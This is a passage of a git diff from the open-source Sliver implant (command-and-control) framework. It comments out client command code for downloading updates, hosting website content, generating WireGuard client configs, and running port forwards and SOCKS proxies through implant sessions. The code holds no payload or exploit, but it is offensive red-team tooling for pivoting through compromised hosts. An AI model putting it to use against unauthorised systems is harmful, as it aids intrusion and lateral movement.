clientAsset != nil { +// fmt.Printf(" - Client: %s\n", util.ByteCountBinary(int64(clientAsset.Size))) +// } +// fmt.Println() - confirm := false - prompt := &survey.Confirm{ - Message: "Download update?", - } - survey.AskOne(prompt, &confirm) - if confirm { - fmt.Printf("Please wait ...") - err := downloadAsset(client, serverAsset, saveTo) - if err != nil { - fmt.Printf(clearln+Warn+"%s\n", err) - return - } - err = downloadAsset(client, clientAsset, saveTo) - if err != nil { - fmt.Printf(clearln+Warn+"%s\n", err) - return - } - fmt.Printf(clearln+"\n"+Info+"Saved updates to: %s\n", saveTo) - } -} +// confirm := false +// prompt := &survey.Confirm{ +// Message: "Download update?", +// } +// survey.AskOne(prompt, &confirm) +// if confirm { +// fmt.Printf("Please wait ...") +// err := downloadAsset(client, serverAsset, saveTo) +// if err != nil { +// fmt.Printf(clearln+Warn+"%s\n", err) +// return +// } +// err = downloadAsset(client, clientAsset, saveTo) +// if err != nil { +// fmt.Printf(clearln+Warn+"%s\n", err) +// return +// } +// fmt.Printf(clearln+"\n"+Info+"Saved updates to: %s\n", saveTo) +// } +// } -func downloadAsset(client *http.Client, asset *version.Asset, saveTo string) error { - downloadURL, err := url.Parse(asset.BrowserDownloadURL) - if err != nil { - return err - } - assetFileName := filepath.Base(downloadURL.Path) +// func downloadAsset(client *http.Client, asset *version.Asset, saveTo string) error { +// downloadURL, err := url.Parse(asset.BrowserDownloadURL) +// if err != nil { +// return err +// } +// assetFileName := filepath.Base(downloadURL.Path) - limit := int64(asset.Size) - writer, err := os.Create(filepath.Join(saveTo, assetFileName)) - if err != nil { - return err - } +// limit := int64(asset.Size) +// writer, err := os.Create(filepath.Join(saveTo, assetFileName)) +// if err != nil { +// return err +// } - resp, err := client.Get(asset.BrowserDownloadURL) - if err != nil { - return err - } +// resp, err := client.Get(asset.BrowserDownloadURL) +// if err != nil { +// return err +// } - bar := pb.Full.Start64(limit) - barReader := bar.NewProxyReader(resp.Body) - io.Copy(writer, barReader) - bar.Finish() - return nil -} +// bar := pb.Full.Start64(limit) +// barReader := bar.NewProxyReader(resp.Body) +// io.Copy(writer, barReader) +// bar.Finish() +// return nil +// } diff --git a/client/command/website.go b/client/command/website.go index fe3238a585..1822a9b194 100644 --- a/client/command/website.go +++ b/client/command/website.go @@ -1,309 +1,309 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - "errors" - "fmt" - "io" - "io/ioutil" - "net/http" - "os" - "path" - "path/filepath" - "sort" - "strings" - "text/tabwriter" - - "gopkg.in/AlecAivazis/survey.v1" - - "github.com/bishopfox/sliver/protobuf/clientpb" - "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/bishopfox/sliver/protobuf/rpcpb" - - "github.com/desertbit/grumble" -) - -const ( - fileSampleSize = 512 - defaultMimeType = "application/octet-stream" -) - -func websites(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - websiteName := ctx.Args.String("name") - if websiteName == "" { - listWebsites(ctx, rpc) - } else { - listWebsiteContent(websiteName, rpc) - } -} - -func listWebsites(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - websites, err := rpc.Websites(context.Background(), &commonpb.Empty{}) - if err != nil { - fmt.Printf(Warn+"Failed to list websites %s", err) - return - } - if len(websites.Websites) < 1 { - fmt.Printf(Info + "No websites\n") - return - } - fmt.Println("Websites") - fmt.Println(strings.Repeat("=", len("Websites"))) - for _, site := range websites.Websites { - fmt.Printf("%s%s%s - %d page(s)\n", bold, site.Name, normal, len(site.Contents)) - } -} - -func listWebsiteContent(websiteName string, rpc rpcpb.SliverRPCClient) { - website, err := rpc.Website(context.Background(), &clientpb.Website{ - Name: websiteName, - }) - if err != nil { - fmt.Printf(Warn+"Failed to list website content %s", err) - return - } - if 0 < len(website.Contents) { - displayWebsite(website) - } else { - fmt.Printf(Info+"No content for '%s'", websiteName) - } -} - -func addWebsiteContent(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - websiteName := ctx.Flags.String("website") - if websiteName == "" { - fmt.Printf(Warn + "Must specify a website name via --website, see --help\n") - return - } - webPath := ctx.Flags.String("web-path") - if webPath == "" { - fmt.Printf(Warn + "Must specify a web path via --web-path, see --help\n") - return - } - contentPath := ctx.Flags.String("content") - if contentPath == "" { - fmt.Println(Warn + "Must specify some --content") - return - } - contentPath, _ = filepath.Abs(contentPath) - contentType := ctx.Flags.String("content-type") - recursive := ctx.Flags.Bool("recursive") - - fileInfo, err := os.Stat(contentPath) - if err != nil { - fmt.Printf(Warn+"Error adding content %s\n", err) - return - } - - addWeb := &clientpb.WebsiteAddContent{ - Name: websiteName, - Contents: map[string]*clientpb.WebContent{}, - } - - if fileInfo.IsDir() { - if !recursive && !confirmAddDirectory() { - return - } - webAddDirectory(addWeb, webPath, contentPath) - } else { - webAddFile(addWeb, webPath, contentType, contentPath) - } - - web, err := rpc.WebsiteAddContent(context.Background(), addWeb) - if err != nil { - fmt.Printf(Warn+"%s", err) - return - } - displayWebsite(web) -} - -func updateWebsiteContent(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - websiteName := ctx.Flags.String("website") - if websiteName == "" { - fmt.Printf(Warn + "Must specify a website name via --website, see --help\n") - return - } - webPath := ctx.Flags.String("web-path") - if webPath == "" { - fmt.Printf(Warn + "Must specify a web path via --web-path, see --help\n") - return - } - contentType := ctx.Flags.String("content-type") - if contentType == "" { - fmt.Printf(Warn + "Must specify a new --content-type, see --help\n") - return - } - - updateWeb := &clientpb.WebsiteAddContent{ - Name: websiteName, - Contents: map[string]*clientpb.WebContent{}, - } - updateWeb.Contents[webPath] = &clientpb.WebContent{ - ContentType: contentType, - } - - web, err := rpc.WebsiteUpdateContent(context.Background(), updateWeb) - if err != nil { - fmt.Printf(Warn+"%s", err) - return - } - displayWebsite(web) -} - -func removeWebsite(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - _, err := rpc.WebsiteRemove(context.Background(), &clientpb.Website{ - Name: ctx.Args.String("name"), - }) - if err != nil { - fmt.Printf(Warn+"Failed to remove website %s", err) - return - } -} - -func removeWebsiteContent(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - name := ctx.Flags.String("website") - webPath := ctx.Flags.String("web-path") - recursive := ctx.Flags.Bool("recursive") - - if name == "" { - fmt.Printf(Warn + "Must specify a website name via --website, see --help\n") - return - } - if webPath == "" { - fmt.Printf(Warn + "Must specify a web path via --web-path, see --help\n") - return - } - - website, err := rpc.Website(context.Background(), &clientpb.Website{ - Name: name, - }) - if err != nil { - fmt.Printf(Warn+"%s", err) - return - } - - rmWebContent := &clientpb.WebsiteRemoveContent{ - Name: name, - Paths: []string{}, - } - if recursive { - for contentPath := range website.Contents { - if strings.HasPrefix(contentPath, webPath) { - rmWebContent.Paths = append(rmWebContent.Paths, contentPath) - } - } - } else { - rmWebContent.Paths = append(rmWebContent.Paths, webPath) - } - web, err := rpc.WebsiteRemoveContent(context.Background(), rmWebContent) - if err != nil { - fmt.Printf(Warn+"Failed to remove content %s", err) - return - } - displayWebsite(web) -} - -func displayWebsite(web *clientpb.Website) { - fmt.Println(clearln + Info + web.Name) - fmt.Println() - table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0) - fmt.Fprintf(table, "Path\tContent-type\tSize\t\n") - fmt.Fprintf(table, "%s\t%s\t%s\t\n", - strings.Repeat("=", len("Path")), - strings.Repeat("=", len("Content-type")), - strings.Repeat("=", len("Size"))) - sortedContents := []*clientpb.WebContent{} - for _, content := range web.Contents { - sortedContents = append(sortedContents, content) - } - sort.SliceStable(sortedContents, func(i, j int) bool { - return sortedContents[i].Path < sortedContents[j].Path - }) - for _, content := range sortedContents { - fmt.Fprintf(table, "%s\t%s\t%d\t\n", content.Path, content.ContentType, content.Size) - } - table.Flush() -} - -func webAddDirectory(web *clientpb.WebsiteAddContent, webpath string, contentPath string) { - fullLocalPath, _ := filepath.Abs(contentPath) - filepath.Walk(contentPath, func(localPath string, info os.FileInfo, err error) error { - if err != nil { - return err - } - if !info.IsDir() { - // localPath is the full absolute path to the file, so we cut it down - fullWebpath := path.Join(webpath, localPath[len(fullLocalPath):]) - webAddFile(web, fullWebpath, "", localPath) - } - return nil - }) -} - -func webAddFile(web *clientpb.WebsiteAddContent, webpath string, contentType string, contentPath string) error { - - fileInfo, err := os.Stat(contentPath) - if os.IsNotExist(err) { - return err // contentPath does not exist - } - if fileInfo.IsDir() { - return errors.New("file content path is directory") - } - - file, err := os.Open(contentPath) - if err != nil { - return err - } - defer file.Close() - data, err := ioutil.ReadAll(file) - if err != nil { - return err - } - - if contentType == "" { - contentType = sniffContentType(file) - } - - web.Contents[webpath] = &clientpb.WebContent{ - Path: webpath, - ContentType: contentType, - Content: data, - } - return nil -} - -func confirmAddDirectory() bool { - confirm := false - prompt := &survey.Confirm{Message: "Recursively add entire directory?"} - survey.AskOne(prompt, &confirm, nil) - return confirm -} - -func sniffContentType(out *os.File) string { - out.Seek(0, io.SeekStart) - buffer := make([]byte, fileSampleSize) - _, err := out.Read(buffer) - if err != nil { - return defaultMimeType - } - contentType := http.DetectContentType(buffer) - return contentType -} +// /* +// Sliver Implant Framework +// Copyright (C) 2019 Bishop Fox + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ + +// import ( +// "context" +// "errors" +// "fmt" +// "io" +// "io/ioutil" +// "net/http" +// "os" +// "path" +// "path/filepath" +// "sort" +// "strings" +// "text/tabwriter" + +// "gopkg.in/AlecAivazis/survey.v1" + +// "github.com/bishopfox/sliver/protobuf/clientpb" +// "github.com/bishopfox/sliver/protobuf/commonpb" +// "github.com/bishopfox/sliver/protobuf/rpcpb" + +// "github.com/desertbit/grumble" +// ) + +// const ( +// fileSampleSize = 512 +// defaultMimeType = "application/octet-stream" +// ) + +// func websites(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// websiteName := ctx.Args.String("name") +// if websiteName == "" { +// listWebsites(ctx, rpc) +// } else { +// listWebsiteContent(websiteName, rpc) +// } +// } + +// func listWebsites(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// websites, err := rpc.Websites(context.Background(), &commonpb.Empty{}) +// if err != nil { +// fmt.Printf(Warn+"Failed to list websites %s", err) +// return +// } +// if len(websites.Websites) < 1 { +// fmt.Printf(Info + "No websites\n") +// return +// } +// fmt.Println("Websites") +// fmt.Println(strings.Repeat("=", len("Websites"))) +// for _, site := range websites.Websites { +// fmt.Printf("%s%s%s - %d page(s)\n", bold, site.Name, normal, len(site.Contents)) +// } +// } + +// func listWebsiteContent(websiteName string, rpc rpcpb.SliverRPCClient) { +// website, err := rpc.Website(context.Background(), &clientpb.Website{ +// Name: websiteName, +// }) +// if err != nil { +// fmt.Printf(Warn+"Failed to list website content %s", err) +// return +// } +// if 0 < len(website.Contents) { +// displayWebsite(website) +// } else { +// fmt.Printf(Info+"No content for '%s'", websiteName) +// } +// } + +// func addWebsiteContent(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// websiteName := ctx.Flags.String("website") +// if websiteName == "" { +// fmt.Printf(Warn + "Must specify a website name via --website, see --help\n") +// return +// } +// webPath := ctx.Flags.String("web-path") +// if webPath == "" { +// fmt.Printf(Warn + "Must specify a web path via --web-path, see --help\n") +// return +// } +// contentPath := ctx.Flags.String("content") +// if contentPath == "" { +// fmt.Println(Warn + "Must specify some --content") +// return +// } +// contentPath, _ = filepath.Abs(contentPath) +// contentType := ctx.Flags.String("content-type") +// recursive := ctx.Flags.Bool("recursive") + +// fileInfo, err := os.Stat(contentPath) +// if err != nil { +// fmt.Printf(Warn+"Error adding content %s\n", err) +// return +// } + +// addWeb := &clientpb.WebsiteAddContent{ +// Name: websiteName, +// Contents: map[string]*clientpb.WebContent{}, +// } + +// if fileInfo.IsDir() { +// if !recursive && !confirmAddDirectory() { +// return +// } +// webAddDirectory(addWeb, webPath, contentPath) +// } else { +// webAddFile(addWeb, webPath, contentType, contentPath) +// } + +// web, err := rpc.WebsiteAddContent(context.Background(), addWeb) +// if err != nil { +// fmt.Printf(Warn+"%s", err) +// return +// } +// displayWebsite(web) +// } + +// func updateWebsiteContent(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// websiteName := ctx.Flags.String("website") +// if websiteName == "" { +// fmt.Printf(Warn + "Must specify a website name via --website, see --help\n") +// return +// } +// webPath := ctx.Flags.String("web-path") +// if webPath == "" { +// fmt.Printf(Warn + "Must specify a web path via --web-path, see --help\n") +// return +// } +// contentType := ctx.Flags.String("content-type") +// if contentType == "" { +// fmt.Printf(Warn + "Must specify a new --content-type, see --help\n") +// return +// } + +// updateWeb := &clientpb.WebsiteAddContent{ +// Name: websiteName, +// Contents: map[string]*clientpb.WebContent{}, +// } +// updateWeb.Contents[webPath] = &clientpb.WebContent{ +// ContentType: contentType, +// } + +// web, err := rpc.WebsiteUpdateContent(context.Background(), updateWeb) +// if err != nil { +// fmt.Printf(Warn+"%s", err) +// return +// } +// displayWebsite(web) +// } + +// func removeWebsite(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// _, err := rpc.WebsiteRemove(context.Background(), &clientpb.Website{ +// Name: ctx.Args.String("name"), +// }) +// if err != nil { +// fmt.Printf(Warn+"Failed to remove website %s", err) +// return +// } +// } + +// func removeWebsiteContent(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// name := ctx.Flags.String("website") +// webPath := ctx.Flags.String("web-path") +// recursive := ctx.Flags.Bool("recursive") + +// if name == "" { +// fmt.Printf(Warn + "Must specify a website name via --website, see --help\n") +// return +// } +// if webPath == "" { +// fmt.Printf(Warn + "Must specify a web path via --web-path, see --help\n") +// return +// } + +// website, err := rpc.Website(context.Background(), &clientpb.Website{ +// Name: name, +// }) +// if err != nil { +// fmt.Printf(Warn+"%s", err) +// return +// } + +// rmWebContent := &clientpb.WebsiteRemoveContent{ +// Name: name, +// Paths: []string{}, +// } +// if recursive { +// for contentPath := range website.Contents { +// if strings.HasPrefix(contentPath, webPath) { +// rmWebContent.Paths = append(rmWebContent.Paths, contentPath) +// } +// } +// } else { +// rmWebContent.Paths = append(rmWebContent.Paths, webPath) +// } +// web, err := rpc.WebsiteRemoveContent(context.Background(), rmWebContent) +// if err != nil { +// fmt.Printf(Warn+"Failed to remove content %s", err) +// return +// } +// displayWebsite(web) +// } + +// func displayWebsite(web *clientpb.Website) { +// fmt.Println(clearln + Info + web.Name) +// fmt.Println() +// table := tabwriter.NewWriter(os.Stdout, 0, 2, 2, ' ', 0) +// fmt.Fprintf(table, "Path\tContent-type\tSize\t\n") +// fmt.Fprintf(table, "%s\t%s\t%s\t\n", +// strings.Repeat("=", len("Path")), +// strings.Repeat("=", len("Content-type")), +// strings.Repeat("=", len("Size"))) +// sortedContents := []*clientpb.WebContent{} +// for _, content := range web.Contents { +// sortedContents = append(sortedContents, content) +// } +// sort.SliceStable(sortedContents, func(i, j int) bool { +// return sortedContents[i].Path < sortedContents[j].Path +// }) +// for _, content := range sortedContents { +// fmt.Fprintf(table, "%s\t%s\t%d\t\n", content.Path, content.ContentType, content.Size) +// } +// table.Flush() +// } + +// func webAddDirectory(web *clientpb.WebsiteAddContent, webpath string, contentPath string) { +// fullLocalPath, _ := filepath.Abs(contentPath) +// filepath.Walk(contentPath, func(localPath string, info os.FileInfo, err error) error { +// if err != nil { +// return err +// } +// if !info.IsDir() { +// // localPath is the full absolute path to the file, so we cut it down +// fullWebpath := path.Join(webpath, localPath[len(fullLocalPath):]) +// webAddFile(web, fullWebpath, "", localPath) +// } +// return nil +// }) +// } + +// func webAddFile(web *clientpb.WebsiteAddContent, webpath string, contentType string, contentPath string) error { + +// fileInfo, err := os.Stat(contentPath) +// if os.IsNotExist(err) { +// return err // contentPath does not exist +// } +// if fileInfo.IsDir() { +// return errors.New("file content path is directory") +// } + +// file, err := os.Open(contentPath) +// if err != nil { +// return err +// } +// defer file.Close() +// data, err := ioutil.ReadAll(file) +// if err != nil { +// return err +// } + +// if contentType == "" { +// contentType = sniffContentType(file) +// } + +// web.Contents[webpath] = &clientpb.WebContent{ +// Path: webpath, +// ContentType: contentType, +// Content: data, +// } +// return nil +// } + +// func confirmAddDirectory() bool { +// confirm := false +// prompt := &survey.Confirm{Message: "Recursively add entire directory?"} +// survey.AskOne(prompt, &confirm, nil) +// return confirm +// } + +// func sniffContentType(out *os.File) string { +// out.Seek(0, io.SeekStart) +// buffer := make([]byte, fileSampleSize) +// _, err := out.Read(buffer) +// if err != nil { +// return defaultMimeType +// } +// contentType := http.DetectContentType(buffer) +// return contentType +// } diff --git a/client/command/wg-config.go b/client/command/wg-config.go index 0f5caa4c5b..9b76c11a22 100644 --- a/client/command/wg-config.go +++ b/client/command/wg-config.go @@ -1,104 +1,104 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2021 Bishop Fox +// /* +// Sliver Implant Framework +// Copyright (C) 2021 Bishop Fox - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . +// */ -import ( - "bytes" - "context" - "encoding/base64" - "encoding/hex" - "fmt" - "io/ioutil" - "net" - "strings" - "text/template" +// import ( +// "bytes" +// "context" +// "encoding/base64" +// "encoding/hex" +// "fmt" +// "io/ioutil" +// "net" +// "strings" +// "text/template" - "github.com/bishopfox/sliver/protobuf/commonpb" - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/desertbit/grumble" -) +// "github.com/bishopfox/sliver/protobuf/commonpb" +// "github.com/bishopfox/sliver/protobuf/rpcpb" +// "github.com/desertbit/grumble" +// ) -var wgQuickTemplate = `[Interface] -Address = {{.ClientIP}}/16 -ListenPort = 51902 -PrivateKey = {{.PrivateKey}} -MTU = 1420 +// var wgQuickTemplate = `[Interface] +// Address = {{.ClientIP}}/16 +// ListenPort = 51902 +// PrivateKey = {{.PrivateKey}} +// MTU = 1420 -[Peer] -PublicKey = {{.ServerPublicKey}} -AllowedIPs = {{.AllowedSubnet}} -Endpoint = ` +// [Peer] +// PublicKey = {{.ServerPublicKey}} +// AllowedIPs = {{.AllowedSubnet}} +// Endpoint = ` -type wgQuickConfig struct { - ClientIP string - PrivateKey string - ServerPublicKey string - AllowedSubnet string -} +// type wgQuickConfig struct { +// ClientIP string +// PrivateKey string +// ServerPublicKey string +// AllowedSubnet string +// } -func getWGClientConfig(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - wgConfig, err := rpc.GenerateWGClientConfig(context.Background(), &commonpb.Empty{}) - if err != nil { - fmt.Printf(Warn+"Error: %s\n", err) - return - } - clientPrivKeyBytes, err := hex.DecodeString(wgConfig.ClientPrivateKey) - if err != nil { - fmt.Printf(Warn+"Error: %s\n", err) - return - } - serverPubKeyBytes, err := hex.DecodeString(wgConfig.ServerPubKey) - if err != nil { - fmt.Printf(Warn+"Error: %s\n", err) - return - } - tmpl, err := template.New("wgQuick").Parse(wgQuickTemplate) - if err != nil { - fmt.Printf(Warn+"Error: %s\n", err) - return - } - clientIP, network, err := net.ParseCIDR(wgConfig.ClientIP + "/16") - if err != nil { - fmt.Printf(Warn+"Error: %s\n", err) - return - } - output := bytes.Buffer{} - tmpl.Execute(&output, wgQuickConfig{ - ClientIP: clientIP.String(), - PrivateKey: base64.StdEncoding.EncodeToString(clientPrivKeyBytes), - ServerPublicKey: base64.StdEncoding.EncodeToString(serverPubKeyBytes), - AllowedSubnet: network.String(), - }) +// func getWGClientConfig(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { +// wgConfig, err := rpc.GenerateWGClientConfig(context.Background(), &commonpb.Empty{}) +// if err != nil { +// fmt.Printf(Warn+"Error: %s\n", err) +// return +// } +// clientPrivKeyBytes, err := hex.DecodeString(wgConfig.ClientPrivateKey) +// if err != nil { +// fmt.Printf(Warn+"Error: %s\n", err) +// return +// } +// serverPubKeyBytes, err := hex.DecodeString(wgConfig.ServerPubKey) +// if err != nil { +// fmt.Printf(Warn+"Error: %s\n", err) +// return +// } +// tmpl, err := template.New("wgQuick").Parse(wgQuickTemplate) +// if err != nil { +// fmt.Printf(Warn+"Error: %s\n", err) +// return +// } +// clientIP, network, err := net.ParseCIDR(wgConfig.ClientIP + "/16") +// if err != nil { +// fmt.Printf(Warn+"Error: %s\n", err) +// return +// } +// output := bytes.Buffer{} +// tmpl.Execute(&output, wgQuickConfig{ +// ClientIP: clientIP.String(), +// PrivateKey: base64.StdEncoding.EncodeToString(clientPrivKeyBytes), +// ServerPublicKey: base64.StdEncoding.EncodeToString(serverPubKeyBytes), +// AllowedSubnet: network.String(), +// }) - save := ctx.Flags.String("save") - if save == "" { - fmt.Println(Info + "New client config:") - fmt.Println(output.String()) - } else { - if !strings.HasSuffix(save, ".conf") { - save += ".conf" - } - err = ioutil.WriteFile(save, []byte(output.String()), 0600) - if err != nil { - fmt.Printf(Warn+"Error: %s\n", err) - return - } - fmt.Printf(Info+"Wrote conf: %s\n", save) - } -} +// save := ctx.Flags.String("save") +// if save == "" { +// fmt.Println(Info + "New client config:") +// fmt.Println(output.String()) +// } else { +// if !strings.HasSuffix(save, ".conf") { +// save += ".conf" +// } +// err = ioutil.WriteFile(save, []byte(output.String()), 0600) +// if err != nil { +// fmt.Printf(Warn+"Error: %s\n", err) +// return +// } +// fmt.Printf(Info+"Wrote conf: %s\n", save) +// } +// } diff --git a/client/command/wg-forwarders.go b/client/command/wg-forwarders.go index d6c0613256..aa19cf4aad 100644 --- a/client/command/wg-forwarders.go +++ b/client/command/wg-forwarders.go @@ -1,254 +1,254 @@ package command -/* - Sliver Implant Framework - Copyright (C) 2021 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "bytes" - "context" - "fmt" - "net" - "strings" - "text/tabwriter" - - "github.com/bishopfox/sliver/protobuf/rpcpb" - "github.com/bishopfox/sliver/protobuf/sliverpb" - "github.com/desertbit/grumble" -) - -func wgPortFwdAddCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() - if session == nil { - return - } - if session.Transport != "wg" { - fmt.Println(Warn + "This command is only supported for WireGuard implants") - return - } - - localPort := ctx.Flags.Int("bind") - remoteAddr := ctx.Flags.String("remote") - if remoteAddr == "" { - fmt.Println(Warn + "Must specify a remote target host:port") - return - } - remoteHost, remotePort, err := net.SplitHostPort(remoteAddr) - if err != nil { - fmt.Print(Warn+"Failed to parse remote target %s\n", err) - return - } - - pfwdAdd, err := rpc.WGStartPortForward(context.Background(), &sliverpb.WGPortForwardStartReq{ - LocalPort: int32(localPort), - RemoteAddress: remoteAddr, - Request: ActiveSession.Request(ctx), - }) - - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - - if pfwdAdd.Response != nil && pfwdAdd.Response.Err != "" { - fmt.Printf(Warn+"Error: %s\n", pfwdAdd.Response.Err) - return - } - fmt.Printf(Info+"Port forwarding %s -> %s:%s\n", pfwdAdd.Forwarder.LocalAddr, remoteHost, remotePort) -} - -func wgPortFwdListCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() - if session == nil { - return - } - if session.Transport != "wg" { - fmt.Println(Warn + "This command is only supported for WireGuard implants") - return - } - - fwdList, err := rpc.WGListForwarders(context.Background(), &sliverpb.WGTCPForwardersReq{ - Request: ActiveSession.Request(ctx), - }) - - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - - if fwdList.Response != nil && fwdList.Response.Err != "" { - fmt.Printf(Warn+"Error: %s\n", fwdList.Response.Err) - return - } - - if fwdList.Forwarders != nil { - if len(fwdList.Forwarders) == 0 { - fmt.Printf(Info + "No port forwards\n") - } else { - outBuf := bytes.NewBufferString("") - table := tabwriter.NewWriter(outBuf, 0, 3, 3, ' ', 0) - fmt.Fprintf(table, "ID\tLocal Address\tRemote Address\t\n") - fmt.Fprintf(table, "%s\t%s\t%s\t\n", - strings.Repeat("=", len("ID")), - strings.Repeat("=", len("Local Address")), - strings.Repeat("=", len("Remote Address"))) - for _, fwd := range fwdList.Forwarders { - fmt.Fprintf(table, "%d\t%s\t%s\t\n", fwd.ID, fwd.LocalAddr, fwd.RemoteAddr) - } - table.Flush() - fmt.Println(outBuf.String()) - } - } -} - -func wgPortFwdRmCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() - if session == nil { - return - } - if session.Transport != "wg" { - fmt.Println(Warn + "This command is only supported for WireGuard implants") - return - } - - fwdID := ctx.Args.Int("id") - stopReq, err := rpc.WGStopPortForward(context.Background(), &sliverpb.WGPortForwardStopReq{ - ID: int32(fwdID), - Request: ActiveSession.Request(ctx), - }) - - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - - if stopReq.Response != nil && stopReq.Response.Err != "" { - fmt.Printf(Warn+"Error: %v\n", stopReq.Response.Err) - return - } - - if stopReq.Forwarder != nil { - fmt.Printf(Info+"Removed port forwarding rule %s -> %s\n", stopReq.Forwarder.LocalAddr, stopReq.Forwarder.RemoteAddr) - } -} - -func wgSocksStartCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.Get() - if session == nil { - return - } - - if session.Transport != "wg" { - fmt.Println(Warn + "This command is only supported for Wireguard implants") - return - } - - bindPort := ctx.Flags.Int("bind") - - socks, err := rpc.WGStartSocks(context.Background(), &sliverpb.WGSocksStartReq{ - Port: int32(bindPort), - Request: ActiveSession.Request(ctx), - }) - - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - - if socks.Response != nil && socks.Response.Err != "" { - fmt.Printf(Warn+"Error: %s\n", err) - return - } - - if socks.Server != nil { - fmt.Printf(Info+"Started SOCKS server on %s\n", socks.Server.LocalAddr) - } -} - -func wgSocksListCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.GetInteractive() - if session == nil { - return - } - if session.Transport != "wg" { - fmt.Println(Warn + "This command is only supported for WireGuard implants") - return - } - - socksList, err := rpc.WGListSocksServers(context.Background(), &sliverpb.WGSocksServersReq{ - Request: ActiveSession.Request(ctx), - }) - - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - - if socksList.Response != nil && socksList.Response.Err != "" { - fmt.Printf(Warn+"Error: %s\n", socksList.Response.Err) - return - } - - if socksList.Servers != nil { - if len(socksList.Servers) > 0 { - outBuf := bytes.NewBufferString("") - table := tabwriter.NewWriter(outBuf, 0, 3, 3, ' ', 0) - fmt.Fprintf(table, "ID\tLocal Address\n") - fmt.Fprintf(table, "%s\t%s\t\n", - strings.Repeat("=", len("ID")), - strings.Repeat("=", len("Local Address"))) - for _, server := range socksList.Servers { - fmt.Fprintf(table, "%d\t%s\t\n", server.ID, server.LocalAddr) - } - table.Flush() - fmt.Println(outBuf.String()) - } - } - -} - -func wgSocksRmCmd(ctx *grumble.Context, rpc rpcpb.SliverRPCClient) { - session := ActiveSession.Get() - if session == nil { - return - } - if session.Transport != "wg" { - fmt.Println(Warn + "This command is only supported for WireGuard implants") - return - } - - socksID := ctx.Args.Int("id") - - stopReq, err := rpc.WGStopSocks(context.Background(), &sliverpb.WGSocksStopReq{ - ID: int32(socksID), - Request: ActiveSession.Request(ctx), - }) - - if err != nil { - fmt.Printf(Warn+"Error: %v", err) - return - } - - if stopReq.Response != nil && stopReq.Response.Err != "" { - fmt.Printf(Warn+"Error: %v\n", stopReq.Response.Err) - return - } - - if stopReq.Server != nil { - fmt.Printf(Info+"Removed socks listener rule %s \n", stopReq.Server.LocalAddr) - } -} +// /* +// Sliver Implant Framework +// Copyright (C) 2021 Bishop Fox + +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. + +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied 